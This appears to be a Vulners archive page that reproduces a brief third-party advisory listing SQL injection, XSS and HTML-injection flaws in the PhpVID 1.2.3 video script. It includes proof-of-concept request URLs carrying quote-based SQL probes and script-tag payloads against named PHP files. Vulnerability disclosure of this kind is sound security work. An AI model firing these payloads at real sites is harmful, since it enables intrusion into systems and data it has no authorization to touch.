Vulners
Lucene search
PHPVID 1.2.3 - Multiple Vulnerabilities
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
 | CVE-2008-2335 | 12 Aug 201300:00 | – | circl |
| CVE-2008-4157 | 10 Sep 200800:00 | – | circl |
| CVE-2013-5311 | 12 Aug 201300:00 | – | circl |
| CVE-2013-5312 | 12 Aug 201300:00 | – | circl |
 | CVE-2008-2335 | 19 May 200810:00 | – | cve |
| CVE-2008-4157 | 22 Sep 200816:20 | – | cve |
| CVE-2013-5311 | 19 Aug 201320:00 | – | cve |
| CVE-2013-5312 | 19 Aug 201320:00 | – | cve |
 | CVE-2008-2335 | 19 May 200810:00 | – | cvelist |
| CVE-2008-4157 | 22 Sep 200816:20 | – | cvelist |
10
##################################################################################
_____ _ _ _ _____
| __ \ | | | | (_) / ____|
| |__) |_____ _____ | |_ _| |_ _ ___ _ __ | (___ ___ ___
| _ // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \ \___ \ / _ \/ __|
| | \ \ __/\ V / (_) | | |_| | |_| | (_) | | | | ____) | __/ (__
|_| \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| |_____/ \___|\___|
##################################################################################
PhpVID Script, Multiple Vulnerabilities
Product Page: http://www.vastal.com/phpvid-the-video-sharing-software.html
Author(Pentester): 3spi0n
On Web: RevolutionSec.Com - GraySecure.Org
On Social: Twitter.Com/eyyamgudeer
##################################################################################
[1] SQL Injection Vulnerabilities on Demo Site
[+] (browse_videos.php, n Param)
>>> http://server//browse_videos.php?cat=&n='1
[+] (groups.php, cat Param)
>>> http://server/groups.php?cat='1
[+] (members.php, n Param)
>>> http://server/members.php?browse=recent&n='1
[2] XSS Vulnerability on Demo Site
[+] (browse_videos.php, n Param)
>>> http://server/browse_videos.php?cat=&n=1'<ScRiPt >prompt(959580)</ScRiPt>
[+] (groups.php, cat Param)
>>> http://server//groups.php?cat=1'<ScRiPt >prompt(987925)</ScRiPt>
[+] (search_results.php.php, query Param)
>>> http://server//search_results.php?query=<ScRiPt >prompt(931776)</ScRiPt>
[3] CRLF Injection Vulnerability on Demo Site
>>> http://server/search_results.php?query=<marquee><h1>come to dance! <br>by, 3spi0n</h1></marquee>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Dec 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.05648